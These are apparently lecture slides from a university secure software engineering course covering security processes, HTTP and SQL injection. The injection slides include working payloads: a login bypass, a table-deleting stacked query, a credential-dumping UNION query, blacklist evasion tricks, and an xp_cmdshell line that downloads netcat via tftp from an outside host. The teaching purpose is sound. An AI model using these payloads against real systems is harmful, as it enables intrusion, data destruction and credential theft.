secure software engineering james walden northern kentucky university

Secure Software Engineering

James Walden

Northern Kentucky University

CSC 666: Secure Software Engineering

Course Information

PrerequisitesCSC 540, CSC 582

Web Site

http://faculty.cs.nku.edu/~waldenj/classes/2012/fall/csc666/

TextbooksSoftware Security, Gary McGraw, Addison-Wesley,

2006.

Secure Programming with Static Analysis, Brian Chess and Jacob West, Addison-Wesley, 2007.


Assignment Policy

Available on web page.

Your responsibility to check for announcements.

Types of assignmentsIndividual programming/assessment assignments.

Group programming/assessment assignments.

Late policy20% penalty up to one week late

0 points given after one week late


Topics

1. The Software Security Problem

2. Processes and Touchpoints

3. Web Application Vulnerabilities

4. An Example Bug: SQL Injection


Traditional Security is Reactive

Perimeter defense (firewalls)

Intrusion detection Over-reliance on

cryptography Penetrate and

patch Penetration testing


The Problem is Software

“75% of hacks happen at the application.”

- Theresa Lanowitz, Gartner Inc.

“92% of reported vulnerabilities are in apps, not networks.”

- NIST

“64% of developers are not confident in their ability to write secure code.”

- Bill Gates


1990s-2006: A Growing Problem

1995 1996 1997 1998 1999 2000 2001 2002 2003 2004 2005 2006

0

1000

2000

3000

4000

5000

6000

7000

8000

9000

Software Vulnerabilities

Year

Vul

ne

rabi

litie

s

2006-2011: Progress or Not?



Motivations


Trinity of Trouble

Connectivity Ubquitious Internet; wireless & mobile

computing.

Complexity Networked, distributed code that can interact

with intermediate caches, ad proxies, etc.

Extensibility Systems evolve in unexpected ways, e.g. web

browsers, which support many formats, add-ons, plugins, programming languages, etc.


SSE Objectives

1. Dependability: software functions only as intended;

2. Trustworthiness: No exploitable vulnerabilities or malicious logic exist in the software;

3. Resilience: If compromised, damage will be minimized, and it will recover quickly to an acceptable level of operating capacity;

4. Conformance: to requirements and applicable standards and procedures.


Security Standards and Certs

ISO 15408 Common Criteria PCI Data Security Standard

Requirement 6: Develop and maintain secure systems and applications

SANS GIAC Secure Software Programmer http://www.sans-ssi.org/

Many standards indirectly impact SSE FISMA SOX

http://www.sans-ssi.org/


Secure Development Processes

CLASP (Comprehensive, Lightweight Application Security Process)

Correctness-by-Construction (formal methods based process from Praxis Critical Systems)

MS SDL (Microsoft Secure Development Lifecycle)

SSE CMM (Secure Software Engineering Capability Maturity Model)

TSP-Secure (Team Software Process for Secure Software Development)

Touchpoints


Software Security Practices

1. Code Reviews

2. Risk Analysis

3. Penetration Testing

SecurityOperations

Requirements Design Coding Testing Maintenance

RiskAnalysis

AbuseCases

Code Reviews +Static Analysis

PenetrationTesting

SecurityTesting

4. Security Testing

5. Abuse Cases

6. Security Operations


Code Reviews

Fix implementation bugs, not design flaws.

Benefits of code reviews1. Find defects sooner in the lifecycle.

2. Find defects with less effort than testing.

3. Find different defects than testing.

4. Educate developers about security flaws.


Architectural Risk Analysis

Fix design flaws, not implementation bugs.

Risk analysis steps1. Develop an architecture model.

2. Identify threats and possible vulnerabilities.

3. Develop attack scenarios.

4. Rank risks based on probability and impact.

5. Develop mitigation strategy.

6. Report findings


Penetration Testing

Test software in deployed environment.Allocate time at end of development to test.

• Often time-boxed: test for n days.• Schedule slips often reduce testing time.• Fixing flaws is expensive late in lifecycle.

Penetration testing tools• Test common vulnerability types against

inputs.• Fuzzing: send random data to inputs.• Don’t understand application structure or

purpose.


Security Testing

IntendendedFunctionality

ActualFunctionality

Functional testing will find missing functionality.

Injection flaws, buffer overflows, XSS, etc.


Security Testing

Two types of testingFunctional: verify security mechanisms.

Adversarial: verify resistance to attacks generated during risk analysis.

Different from traditional penetration testing• White box.• Use risk analysis to build tests.• Measure security against risk model.


Abuse Cases

Anti-requirementsThink about what software should not do.

A use case from an adversary’s point of view.• Obtain Another User’s CC Data.• Alter Item Price.• Deny Service to Application.

Developing abuse casesInformed brainstorming: attack patterns, risks.


Security Operations

User security notes• Software should be secure by default.• Enabling certain features may have risks.• User needs to be informed of security risks.

Incident response• What happens when a vulnerability is

reported?• How do you communicate with users?• How do you send updates to users?


Web Application Vulnerabilities

Input-based Security Problems Injection Flaws Insecure Remote File Inclusion Unvalidated Input

Authentication and Authorization Authentication Access Control Cross-Site Scripting

Other Bugs Error Handling and Information Leakage Insecure Storage Insecure Communications


HTTP: HyperText Transfer Protocol

Simple request/response protocol Request methods: GET, POST, HEAD, etc. Stateless: req#2 doesn’t know about req#1

HTTPS HTTP wrapped in SSL/TLS encryption Protects data in transit to web server. Doesn’t protect stored data. Doesn’t protect server from being hacked.


HTTP Request

GET http://www.google.com/ HTTP/1.1Host: www.google.comUser-Agent: Mozilla/5.0 (Windows NT 5.1) Gecko/20060909 Firefox/1.5.0.7

Accept: text/html, image/png, */*Accept-Language: en-us,en;q=0.5Cookie: rememberme=true; PREF=ID=21039ab4bbc49153:FF=4

Method URL Protocol Version

Headers

Blank Line

No Data for GET


HTTP Response

HTTP/1.1 200 OKCache-Control: privateContent-Type: text/htmlServer: GWS/2.1Date: Fri, 13 Oct 2006 03:16:30 GMT

<HTML> ... (page data) ... </HTML>

Protocol Version HTTP Response Code

Headers

BlankLine

Web Page Data


HTTP GET Parameters

http://ex.com/path/app.cgi?param1=val1&param2=val2

Format parameter_name=value Multiple parameters separated by &

URI encoding Encode chars as ISO-Latin hex val: %XY Special characters must be encoded. Any character may be encoded.


HTTP POST Parameters

POST /path/app.cgi HTTP/1.0

Content-Type: application/x-www-form-urlencoded Content-Length: 32

param1=value1&param2=value2

Format parameter_name=value Multiple parameters separated by &

URI encoding


Cookies

HTTP/1.1 200 OK

Content-Type: text/htmlSet-Cookie: Name=Value; path=/; expires=01-Jan-2038 23:59:59UCT

Cookie Format Only sent to URLs that match path, domain. Sent only via SSL if secure specified. Expires on date or when browser closed.

GET /path/app.cgi HTTP/1.1Host: ex.comCookie: Name=Value


An Example Bug: Injection

Injection attacks trick an application into including unintended commands in the data send to an interpreter.

Interpreters Interpret strings as commands. Ex: SQL, shell (cmd.exe, bash), LDAP, XPath

Key Idea Input data from the application is executed as

code by the interpreter.


SQL Injection

1. App sends form to user.2. Attacker submits form

with SQL exploit data.3. Application builds string

with exploit data.4. Application sends SQL

query to DB.5. DB executes query,

including exploit, sends data back to application.

6. Application returns data to user.

Attacker

Web Server DB Server

Firewall

User

Pass

‘ or 1=1--


SQL Injection in PHP

$link = mysql_connect($DB_HOST, $DB_USERNAME, $DB_PASSWORD) or die ("Couldn't connect: " . mysql_error());

mysql_select_db($DB_DATABASE);

$query = "select count(*) from users where username = '$username' and password = '$password'";

$result = mysql_query($query);


SQL Injection Attack #1

Unauthorized Access Attempt:password = ’ or 1=1 --

SQL statement becomes:select count(*) from users where username =

‘user’ and password = ‘’ or 1=1 --

Checks if password is empty OR 1=1, which is always true, permitting access.


SQL Injection Attack #2

Database Modification Attack:password = foo’; delete from table users where

username like ‘%

DB executes two SQL statements:select count(*) from users where username = ‘user’

and password = ‘foo’

delete from table users where username like ‘%’


Finding SQL Injection Bugs

1. Submit a single quote as input. If an error results, app is vulnerable. If no error, check for any output changes.

2. Submit two single quotes. Databases use ’’ to represent literal ’ If error disappears, app is vulnerable.

3. Try string or numeric operators. Oracle: ’||’FOO MS-SQL: ‘+’FOO MySQL: ’ ’FOO

2-2 81+19 49-ASCII(1)


2008 Mass SQL Injection Attacks

Estimated 1.5 million pages compromised. Methodology

Identify vulnerable web applications. Use xp_cmdshell on MS SQL to download

tools to compromised MS SQL server. Use fgdump to obtain Windows credentials. Install backdoors that periodically contact their

command & control servers. Search for credit cards or brute force

passwords.


Real Estate Site Hacking

www.website.com/fullnews.php?id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(username,char(58),password),4,5/**/FROM/**/admin/*

Exploit against http://phprealestatescript.com/


The Problem: String BuildingBuilding a SQL command string with user input in any language is dangerous.

• Variable interpolation.• String concatenation with variables.• String format functions like sprintf().• String templating with variable replacement.


Mitigating SQL Injection

Partially Effective MitigationsBlacklists

Stored Procedures

Effective MitigationsWhitelists

Prepared Queries


Ineffective Mitigation: Blacklist

Filter out known bad SQL metacharacters,such as single quotes.Problems:

1. Numeric parameters don’t use quotes.

2. URL escaped metacharacters.

3. Unicode encoded metacharacters.

4. Did you miss any metacharacters?


Bypassing Blacklist Filters

Different caseSeLecT instead of SELECT or select

Bypass keyword removal filtersSELSELECTECT

URL-encoding%53%45%4C%45%43%54

SQL commentsSELECT/*foo*/num/*foo*/FROM/**/ccSEL/*foo*/ECT

String Building‘us’||’er’chr(117)||chr(115)||chr(101)||chr(114)


Ineffective Mitigation: Stored Procedures

SQL Stored Procedures build strings too:

CREATE PROCEDURE dbo.doQuery(@id nchar(128)AS DECLARE @query nchar(256) SELECT @query = ‘SELECT cc FROM cust WHERE id=‘’’ + @id + ‘’’’ EXEC @queryRETURN

and they can be invoked insecurely with user input:

exec sp_login ‘user’ ‘foo’; master..xp_cmdshell ‘tftp e.com GET nc.exe’#


Mitigation: Whitelist

Reject input that doesn’t match your list of safe characters to accept. Identify what’s good, not what’s bad. Reject input instead of attempting to

repair. Still have to deal with single quotes

when required, such as in names.


Mitigation: Prepared Queries

require_once 'MDB2.php';

$mdb2 =& MDB2::factory($dsn, $options);

if (PEAR::isError($mdb2)) {

die($mdb2->getMessage());

}

$sql = “SELECT count(*) from users where username = ? and password = ?”;

$types = array('text', 'text');

$sth = $mdb2->prepare($sql, $types, MDB2_PREPARE_MANIP);

$data = array($username, $password);

$sth->execute($data);


Key Points

The Problem of Software Security SSE Goals

Dependability Trustworthiness Resilience Conformance

Touchpoints Code Reviews Risk Analysis Penetration Testing Security Testing Abuse Cases Security Operations


References

1. Brian Chess and Jacob West, Secure Programming with Static Analysis, Addison-Wesley, 2007.

2. CLASP, OWASP CLASP Project, http://www.owasp.org/index.php/Category:OWASP_CLASP_Project, 2008.

3. Noopur Davis et. al., Processes for Producing Secure Software. IEEE Security & Privacy, May 2004.

4. Karen Goertzel, Theodore Winograd, et al. for Department of Homeland Security and Department of Defense Data and Analysis Center for Software. Enhancing the Development Life Cycle to Produce Secure Software: A Reference Guidebook on Software Assurance, October 2008.

5. Michael Howard and Steve Lipner, The Security Development Lifecycle, Microsoft Press, 2006.

6. Michael Howard, “SAFECode: Fundamental Processes for Secure Software Development,” http://www.safecode.org/publications/SAFECode_Dev_Practices1008.pdf, October 2008.

7. Gary McGraw, Software Security, Addison-Wesley, 2006.

http://www.owasp.org/index.php/Category:OWASP_CLASP_Project

http://www.owasp.org/index.php/Category:OWASP_CLASP_Project

https://www.thedacs.com/techs/enhanced_life_cycles/

https://www.thedacs.com/techs/enhanced_life_cycles/

http://www.safecode.org/publications/SAFECode_Dev_Practices1008.pdf

http://www.safecode.org/publications/SAFECode_Dev_Practices1008.pdf

secure software engineering james walden northern kentucky university

Documents

secure systems

secure code

secure programming

software functions

software security problem

week late slide

growing problem slide

sql injection slide